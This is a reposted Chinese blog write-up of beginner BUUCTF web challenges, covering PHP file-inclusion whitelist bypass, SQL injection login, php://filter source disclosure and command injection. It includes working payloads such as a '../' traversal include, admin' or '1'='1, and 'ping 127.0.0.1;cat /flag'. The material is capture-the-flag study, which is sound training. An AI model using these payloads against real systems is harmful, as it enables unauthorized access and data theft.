ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF

2021-07-18 19:32:16  阅读:956  来源: 互联网

标签:BUUCTF .. whitelist flag file php page


[HCTF 2018]WarmUp

过程

1.找源代码

右键查看源代码或者F12发现提示
在这里插入图片描述
看到还有一个hint.php,再访问一下
在这里插入图片描述

2.分析源代码
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

先看最后一段,只要满足这一段代码就能包含出我们想要的ffffllllaaaagggg文件,而这个if判断语句要求

1.值不为空
2.值为字符串
3.能够通过checkFile的验证

其实主要就是要求满足第3点,那再来分析checkFile

        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

首先说明将输入的参数传给page,然后声明了whitelist数组,第一个if语句判断page不存在或者page不为字符串

            if (in_array($page, $whitelist)) {
                return true;
            }

第二个if语句判断page参数是否为whitelist数组中的值,意思是参数只能是hint.php或者source.php

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

首先截断page中的值,这里截的是?前的值,然后判断page参数是否为whitelist数组中的值。

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

这里先对page参数进行url编码,然后再截断,这里因为服务器也会解码一次,所以我们构造参数的时候直接编码了两次(但这里好像编码不编码都可以),构造

source.php?file=source.php?../../../../../ffffllllaaaagggg
index.php?file=hint.php?../../../../../ffffllllaaaagggg

在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]EasySQL

简单的sql注入,并不是和之间一样查所有信息才能得到flag,这里只要成功登陆就能得到flag

过程

输入admin尝试登陆
在这里插入图片描述
这里对username和password均要传入参数,尝试万能语句admin' or '1'='1
在这里插入图片描述

check.php?username=admin' or '1'='1&password=admin' or '1'='1

[极客大挑战 2019]Havefun

过程

进去啥也没有。查看右键源代码,发现提示


                <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

那就跟着直接传参?cat=dog
在这里插入图片描述
啊这,这种题真的存在吗?

[ACTF2020 新生赛]Include

过程

点开tips
在这里插入图片描述啥也没有,这里有两个想法,一种就是先扫目录然后再分析,一种就是尝试读源码,所以我们一遍扫一遍去读源码

php://filter/read=convert.base64-encode/resource=flag.php
php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出

没想到直接出来了一段base64代码
在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]Secret File

过程

打开查看源代码,发现一个网址
在这里插入图片描述
在这里插入图片描述
点击后出现
在这里插入图片描述那抓包看看中间有什么
在这里插入图片描述
在这里插入图片描述

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

尝试file=flag.php

在这里插入图片描述

是不是一个读取源码的题?尝试

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到神秘代码,进行base64解码

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7Y2VmN2U2ODItMGJmNy00YjFiLWI4M2EtMGQyYjI4NDZlMTdlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

在这里插入图片描述
得到flag与秘密

[ACTF2020 新生赛]Exec

过程

z
emmm怎么只有一个index页面,尝试直接cat一下flag

ping 127.0.0.1;cat /flag

在这里插入图片描述## [GXYCTF2019]Ping Ping Ping

标签:BUUCTF,..,whitelist,flag,file,php,page
来源: https://blog.csdn.net/weixin_54648419/article/details/118877689

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有